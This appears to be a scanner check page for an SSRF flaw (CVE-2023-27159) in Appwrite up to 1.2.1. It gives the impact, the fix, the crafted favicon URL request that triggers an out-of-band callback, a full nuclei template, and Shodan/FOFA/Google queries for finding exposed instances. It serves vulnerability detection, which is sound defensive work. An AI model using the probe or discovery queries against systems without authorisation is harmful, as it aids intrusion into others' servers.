Appwrite <=1.2.1 - Server-Side Request Forgery

highseverity

7.5CVSS score

36.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.

Impact

This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the server.

Fix

Upgrade Appwrite to a version higher than 1.2.1 to mitigate the SSRF vulnerability.

How to confirm it

Send: GET {{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: Appwrite-Server"

Run it with nuclei: nuclei -id CVE-2023-27159 -u <target>

The full check

id: CVE-2023-27159

info:
  name: Appwrite <=1.2.1 - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: high
  description: |
    Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the server.
  remediation: |
    Upgrade Appwrite to a version higher than 1.2.1 to mitigate the SSRF vulnerability.
  reference:
    - https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a
    - https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27159
    - http://appwrite.com
    - https://github.com/appwrite/appwrite
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27159
    cwe-id: CWE-918
    epss-score: 0.36419
    epss-percentile: 0.98501
    cpe: cpe:2.3:a:appwrite:appwrite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appwrite
    product: appwrite
    shodan-query:
      - title:"Sign In - Appwrite"
      - http.title:"sign in - appwrite"
      - http.favicon.hash:-633108100
    fofa-query:
      - icon_hash=-633108100
      - title="sign in - appwrite"
    google-query: intitle:"sign in - appwrite"
  tags: cve2023,cve,appwrite,ssrf,oast,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Appwrite-Server"

References

Use this check only on systems you are authorised to test. Where the data comes from